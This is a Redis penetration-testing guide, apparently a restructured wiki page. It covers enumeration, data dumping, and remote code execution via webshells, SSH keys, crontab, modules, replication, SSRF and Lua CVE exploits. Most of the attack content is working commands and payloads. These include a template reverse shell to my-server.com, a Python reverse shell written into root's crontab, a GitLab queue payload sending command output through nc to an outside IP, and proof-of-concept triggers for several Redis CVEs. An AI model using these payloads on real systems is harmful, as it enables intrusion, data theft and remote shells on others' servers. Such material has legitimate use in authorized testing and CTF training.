Pentesting Redis — A Cleaner, Restructured Guide
Pentesting Redis — A Cleaner, Restructured Guide
Below is a rewritten and improved version of the original document. The technical content is preserved, but the structure, flow, and clarity have been tightened: redundant phrasing is removed, sections are logically grouped, commands are consistently formatted, and warnings are made more explicit.
1. Overview
Redis is an open-source, in-memory data-structure store used as a database, cache, streaming engine, and message broker. It speaks the RESP protocol over TCP and optionally over TLS.
- Default port:
6379/tcp - Typical service banner:
PORT STATE SERVICE VERSION6379/tcp open redis Redis key-value store 4.0.9
2. Enumeration
2.1 Automatic
nmap --script redis-info -sV -p 6379 <IP># Metasploitmsf> use auxiliary/scanner/redis/redis_server
2.2 Manual / Banner Grabbing
RESP is a readable request–response protocol, so you can talk to Redis over a raw socket and read replies directly.
nc -vn 10.10.10.10 6379redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
Start with:
info
If the instance requires authentication, you'll get:
-NOAUTH Authentication required.
That response means valid credentials are needed before you can interact further.
3. Authentication
An unmodified Redis configuration exposes a default user with no password, but protected mode and network binding are meant to prevent unsafe remote access. Redis supports either:
- a password on the default user (
requirepass), or - username + password ACL authentication (Redis 6+).
Setting a password temporarily (until restart):
config set requirepass p@ss$12E45
Redis 6+ ACL users are typically created with ACL SETUSER ... or loaded from an aclfile. Note: masteruser is for replica-to-master authentication, not normal client logins.
Windows note: a service config such as C:\Program Files\Redis\redis.windows-service.conf can be a local authentication lead if the current user can read it. But finding the file proves nothing — you must confirm:
- the live service actually uses that file,
- the auth/ACL settings still apply,
- the authenticated account can read the relevant keys,
- any recovered password actually works for a more privileged Windows account.
3.1 Authenticating
If only a password is configured, the username is usually default. You cannot tell externally whether password-only or username+password is configured until you test valid credentials.
AUTH <password> # password-only / default userAUTH <username> <password> # ACL userHELLO 3 AUTH <username> <password> # authenticate + switch to RESP3
- Success →
+OK NOPERMafter auth → credentials are valid but the ACL user is restricted.
4. Authenticated Enumeration
Once anonymous access is allowed or you have valid credentials:
INFOCLIENT LISTCONFIG GET *
4.1 ACL & Capability Recon (Redis 6+)
The key question after login is: what can this user actually do? Many real environments expose a low-privilege ACL user that can read data but cannot run CONFIG, MODULE, EVAL, FUNCTION, or REPLICAOF. Check before investing in an RCE chain.
ACL WHOAMIACL USERSACL GETUSER <USER>ACL CAT @dangerousCOMMAND INFO CONFIG EVAL FUNCTION FCALL REPLICAOF MODULEMODULE LISTFUNCTION LISTFUNCTION LIST WITHCODE
What to infer:
| Command | Purpose |
|---|---|
ACL WHOAMI | Which user the session actually authenticated as. |
ACL GETUSER | Command categories, key patterns, pub/sub patterns, Redis 7+ selectors. |
COMMAND INFO | Useful when ACL GETUSER is denied — shows whether a command exists, was renamed, or removed. |
FUNCTION LIST WITHCODE | May leak persisted Lua libraries containing business logic, secrets, or persistence. |
4.2 Renamed / Removed Commands
Commands can be renamed or removed in redis.conf. Example — remove FLUSHDB:
rename-command FLUSHDB ""
4.3 Monitoring
MONITOR # real-time command streamSLOWLOG GET 25 # top 25 slowest queries
5. Dumping Data
Databases are numbered from 0. Find which are in use:
INFO keyspace
Example: DB 0 has 4 keys, DB 1 has 1 key. Redis defaults to DB 0.
5.1 Selecting and Reading
SELECT 1KEYS *GET <KEY>
Note: On a large or live database, prefer cursor-based
SCANover blockingKEYS *. Scans may return duplicates while keys change.
redis-cli -h <TARGET_IP> -n 1 --scan --pattern 'session:*'
5.2 Handling Non-String Types
GET on a non-string key returns:
-WRONGTYPE Operation against a key holding the wrong kind of value
Check the type first:
TYPE <KEY>LRANGE <KEY> 0 -1 # listHGET <KEY> <FIELD> # hashDUMP <KEY> # fallback for unusual types
You can also dump with npm redis-dump or the Python redis-utils package.
5.3 Copying Keys with MIGRATE
If the authenticated user can run MIGRATE, the source Redis can connect to a Redis instance you control and transfer selected keys.
COPYleaves source keys in place; without it, a successful migration deletes them.- This can recover values even when
GETis denied, but it is not an ACL bypass — Redis still requires read/write access to each named source key. - Source needs outbound connectivity; destination must accept
RESTORE(and auth if configured). MIGRATEblocks during transfer — keep tests small and authorized.
# Single keyredis-cli -h <TARGET_IP> -n 0 MIGRATE <RECEIVER_IP> 6379 session:example 0 5000 COPY# Multiple known keys (Redis 3.0.6+)redis-cli -h <TARGET_IP> -n 0 MIGRATE <RECEIVER_IP> 6379 "" 0 5000 COPY KEYS session:example session:other# Inspect on destinationredis-cli -h <RECEIVER_IP> -n 0 TYPE session:exampleredis-cli -h <RECEIVER_IP> -n 0 GET session:example
- Destination requiring auth: add
AUTH <password>or (Redis 6+)AUTH2 <username> <password>to theMIGRATEcommand. NOKEY→ no named source key found. On transfer errors, check both ends.- In managed Redis,
MIGRATEmay be unavailable.
6. Exploitation & RCE
6.1 Modern Hardening Caveat (Redis 7+)
Classic CONFIG SET dir/dbfilename + SAVE tricks and MODULE LOAD chains still work on older Redis (common in labs/CTFs), but newer Redis ships extra hardening:
- Configs that control file writes (
dir,dbfilename) are protected/immutable by default. MODULE LOADis disabled by default unlessenable-module-commandwas explicitly enabled.- These protections may be set to
local— reachable only from loopback / Unix-socket clients.
Test the exact primitive first:
CONFIG GET dir dbfilename appendonlyCONFIG SET dir /tmpMODULE LISTMODULE LOAD /tmp/mymodule.so
If direct remote access cannot use these primitives but an SSRF can reach 127.0.0.1:6379 (or a local Unix socket), a local-only policy may still be exploitable from that pivot.
6.2 Automated RCE
redis-rogue-server automates a replication/module-loading chain (documents Redis 4.x/5.x targets):
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ATTACKER_IP>
6.3 PHP Webshell
Requires knowing the web root path:
redis-cli -h 10.85.0.5210.85.0.52:6379> config set dir /usr/share/nginx/html10.85.0.52:6379> config set dbfilename redis.php10.85.0.52:6379> set test "<?php phpinfo(); ?>"10.85.0.52:6379> save
If the shell fails because the generated DB file contains incompatible bytes, back up the database, test with an empty DB, then restore.
6.4 Template Webshell
Instead of a .php, overwrite an HTML/template file interpreted by a template engine (e.g., nunjucks):
{{ ({}).constructor.constructor("var net = global.process.mainModule.require('net'),cp = global.process.mainModule.require('child_process'),sh = cp.spawn('sh', []);var client = new net.Socket();client.connect(1234, 'my-server.com', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});")()}}
Warning: Several template engines cache templates in memory — overwriting the file may not trigger execution. Automatic reload may be enabled only in development. Otherwise the service must reload/restart. In an authorized test, forcing a restart may be disruptive and can cause a DoS — do so only with specific permission.
6.5 SSH authorized_keys
Run CONFIG GET dir immediately after login — it can change after other manual exploit commands. The result often reveals the redis user's home (usually /var/lib/redis or /home/redis/.ssh), which tells you where you can write authorized_keys.
# 1. Generate keypairssh-keygen -t rsa# 2. Format public key with surrounding newlines(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt# 3. Import into Rediscat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key# 4. Write to authorized_keysredis-cli -h 10.85.0.5210.85.0.52:6379> config set dir /var/lib/redis/.ssh10.85.0.52:6379> config set dbfilename "authorized_keys"10.85.0.52:6379> save# 5. Connectssh -i id_rsa redis@10.85.0.52
- Test other users by trying
CONFIG SET dir /home/USER— if Redis can write there, target that user'sauthorized_keys. Redis-Server-Exploitandredis-rce-sshautomate this technique.
6.6 Crontab
Ubuntu:
echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n" | redis-cli -h 10.85.0.52 -x set 1redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/redis-cli -h 10.85.0.52 config set dbfilename rootredis-cli -h 10.85.0.52 save
CentOS: use /var/spool/cron/ instead of /var/spool/cron/crontabs/.
The same arbitrary-file-write primitive has also been abused to install cryptocurrency miners.
6.7 Loading a Redis Module
- Compile a module (e.g.,
RedisModules-ExecuteCommand). - Upload the compiled module.
- Load at runtime:
MODULE LOAD /path/to/mymodule.soMODULE LIST
- Execute commands:
127.0.0.1:6379> system.exec "id""uid=0(root) gid=0(root) groups=0(root)\n"127.0.0.1:6379> system.exec "whoami""root\n"127.0.0.1:6379> system.rev 127.0.0.1 9999
- Unload when done:
MODULE UNLOAD mymodule
7. Lua Sandbox & Related CVEs
Redis uses EVAL to run Lua in a sandbox. Historical releases exposed dofile, but supported releases restrict scripts to specific Lua packages and deny filesystem/network/system calls outside the scripting API. A different sandbox escape or memory-corruption bug may still lead to native command execution.
7.1 CVE-2022-0543 (Debian packaging)
Debian's Redis package left its Lua library loadable, enabling sandbox escape. A public PoC is available. Before attempting:
- Check the Debian package security tracker for your installed release and patched revision — do not rely on upstream
redis_versionalone. - Local escalation also requires: usable Redis credentials or permitted access, permission to run Lua, and a Redis process with a more privileged OS identity.
- A root shell follows only if that process actually runs as root.
7.2 CVE-2025-49844 / 46817 / 46818
Multiple issues in the embedded Lua engine allow sandbox escape, memory corruption, and cross-user code execution.
Applicability:
- Attacker can authenticate and Lua is enabled (
EVAL/EVALSHAorFUNCTIONusable). - Redis older than 8.2.2, 8.0.4, 7.4.6, 7.2.11, 6.2.20.
CVE-2025-49844 — GC-timed Use-After-Free in Lua parser
- Cause: Force GC while parser still references a freshly-inserted
TString→ freed pointer used → crash/DoS and potential native code execution outside the sandbox. - Trigger strategy: Memory pressure with huge strings; explicit
collectgarbage('collect')during compilation of a large chunk; loop until GC aligns with parsing.
redis-cli -h <host> -p 6379 -a <password> EVAL "\local a = string.rep('asdf', 65536); \collectgarbage('collect'); \local src = string.rep('x', 1024 * 1024); \local f = loadstring(src); \return 'done'" 0
Multiple attempts may be needed to align GC with
luaY_parser. A crash indicates the UAF was hit. Turning this into RCE requires memory grooming and native code pivoting.
CVE-2025-46817 — Integer overflow in unpack
- Cause:
n = e - i + 1computed without unsigned casts → extreme indices wrap → Lua attempts to unpack far more elements than exist → stack corruption / memory exhaustion.
redis-cli -h <host> -p 6379 -a <password> EVAL "return unpack({'a','b','c'}, -1, 2147483647)" 0
Expect the server to attempt returning an enormous number of values, eventually crashing or OOMing.
CVE-2025-46818 — Cross-user privilege escalation via basic-type metatables
- Cause: On engine init, metatables for basic types (strings, booleans) were not set read-only. Any authenticated user can poison them, injecting methods other users may later call.
redis-cli -h <host> -p 6379 -a <password> EVAL "\getmetatable('').__index = function(_, key) \if key == 'testfunc' then \return function() return 'testfuncoutput' end \end \end; \return ('teststring').testfunc()" 0# → Returns: testfuncoutput
Impact: cross-user code execution inside the Lua sandbox using the victim's Redis permissions. Useful for lateral movement / privilege escalation within Redis ACL contexts.
8. Redis Functions + Replication Reentrancy UAF (DarkReplica / CVE-2026-23631)
A different Lua attack surface exists in the functions engine (FUNCTION LOAD / FCALL), not only classic EVAL.
Preconditions: authenticate, can run Redis functions, and can repoint the instance to an attacker-controlled master.
Mechanism: A long-running function times out, enters the slow-script path, and calls processEventsWhileBlocked(). Normal client commands are blocked, but replication I/O from the master is still processed. A malicious FULLRESYNC can free the active functions Lua engine while execution later resumes inside it.
Trigger sequence:
FUNCTION LOAD "#!lua name=mylib\nredis.register_function('hoax', function() while 1 do end end)"REPLICAOF <attacker_ip> <attacker_port>CONFIG SET replica-read-only noFCALL hoax 0# After the timeout, answer as the master and force FULLRESYNC
Why it's interesting: Post-free allocations are attacker-controlled. RDB_OPCODE_FUNCTION2 records execute immediately via rdbFunctionLoad(), so malicious function libraries act as a precise post-free Lua heap spray.
Exploitation notes:
tostring()on non-string/non-number Lua values leaks heap pointers (tables, functions, coroutines).- Coroutines are valuable — each has its own
lua_State; a freed coroutine state can stay reclaimable even if the new global engine reuses the old main state. - Fake Lua Table objects can turn
Table->arrayinto an arbitrary TValue read/write primitive once execution is stabilized in a clean coroutine. - A practical RCE pivot is overwriting
lua_State->l_G->frealloc(Lua allocator callback) after gaining arbitrary read/write.
Version context: Fixed May 5, 2026 in 7.2.14, 7.4.9, 8.2.6, 8.4.3, 8.6.3. Post-auth, but especially relevant when dangerous admin commands are exposed to weak ACL users.
Telemetry / review points:
FUNCTION LOAD,FCALL,FUNCTION KILL,REPLICAOF/SLAVEOF,CONFIG SET replica-read-only no- Slow-script log entries immediately followed by replica sync /
FULLRESYNC - Unexpected function libraries arriving from replication
9. Primary/Replica Replication
Redis replication propagates a primary's data to its replicas. If an attacker can issue REPLICAOF/SLAVEOF, the target can be pointed at an attacker-controlled primary; older module-loading chains use this to transfer a malicious database or module.
Legacy terminology example:
- Master (hacker):
10.85.0.51 - Slave (target):
10.85.0.52
# On the slave/targetredis-cli -h 10.85.0.52 -p 6379slaveof 10.85.0.51 6379# On the master/attackerredis-cli -h 10.85.0.51 -p 6379set mykey helloset mykey2 helloworld
10. SSRF Talking to Redis
If you can send cleartext to Redis, you can communicate with it — Redis reads line by line and replies with errors to lines it doesn't understand:
-ERR wrong number of arguments for 'get' command-ERR unknown command 'Host:'-ERR unknown command 'Accept:'-ERR unknown command 'Accept-Encoding:'-ERR unknown command 'Via:'-ERR unknown command 'Cache-Control:'-ERR unknown command 'Connection:'
So an SSRF that lets you control headers (e.g., via CRLF) or POST parameters can send arbitrary commands to Redis. This is especially useful when the target only enabled dangerous primitives for local clients — an SSRF to 127.0.0.1:6379 may recover CONFIG SET, MODULE LOAD, or other actions blocked from your direct remote connection.
10.1 Example: GitLab 11.4.7 SSRF + CRLF to Shell
- SSRF: "import project from URL" allowed arbitrary IPs of form
[0:0:0:0:0:ffff:127.0.0.1](reaches127.0.0.1). - CRLF: injectable via
%0D%0Ain the URL.
Combined, these allowed talking to GitLab's Redis queue and abusing queues for code execution.
Redis queue payload:
multisadd resque:gitlab:queues system_hook_pushlpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open('|whoami | nc 192.241.233.143 80').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"exec
URL-encoded SSRF+CRLF request:
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
Interestingly, this worked with the
git://scheme but nothttp://.
11. References
- Redis Security Advisory: CVE-2025-49844
- NVD: CVE-2025-49844
- NVD: CVE-2025-46817
- NVD: CVE-2025-46818
- Wiz analysis of Redis RCE (CVE-2025-49844)
- PoC: CVE-2025-49844 — Lua parser UAF
- PoC: CVE-2025-46817 — unpack integer overflow
- PoC: CVE-2025-46818 — basic-type metatable abuse
- ZeroDay.Cloud — DarkReplica (CVE-2026-23631)
- DarkReplica exploit repository
- Redis releases (7.2.14 / 7.4.9 and later security fixes)
- Redis ACL documentation
- Redis configuration file example (
enable-protected-configs/enable-module-command) - Redis Hacking Tips (reverse-tcp.xyz, via Wayback Machine)
- Cyber Apocalypse CTF 2022: Red Island Writeup (NETEYE Blog)
- OSCP Preparation Guide — Enumeration (Adithyan AK, archived)
- RedisModules-ExecuteCommand (GitHub)
- Trying to hack Redis via HTTP requests (agarri.fr)
- GitLab 11.4.7 RCE — Real World CTF 2018 (LiveOverflow)
- Redis documentation: About Redis
- Redis command reference
- Redis documentation: TLS
- Redis documentation: Security
- npm: redis-dump
- PyPI: redis-utils
- n0b0dyCN/redis-rogue-server
- Avinash-acid/Redis-Server-Exploit
- captain-woof/redis-rce-ssh
- Redis arbitrary-write miner abuse discussion
- aodsec/CVE-2022-0543 PoC
- LZone Redis Cheat Sheet
- Redis Lua API reference: sandbox context
- Redis SCAN command
- Redis CLI scan mode
- Redis MIGRATE command
- Redis ACL key permissions
Summary of Improvements Made
| Area | Change |
|---|---|
| Structure | Reorganized into 11 numbered sections with clear subsections; exploitation paths grouped logically. |
| Clarity | Removed rambling transitions; each command block has a one-line purpose. |
| Consistency | Uniform command-block formatting; tables for ACL recon and reference list. |
| Warnings | Hardening caveats, template-cache warnings, and MIGRATE ACL caveats made explicit and boxed. |
| Accuracy | Preserved all CVEs, version numbers, and technical details; no commands altered. |
| Readability | Added headers, tables, and a summary of changes. |
Author
Discussion · 0
No comments yet — start the discussion.
Sign in to join the discussion.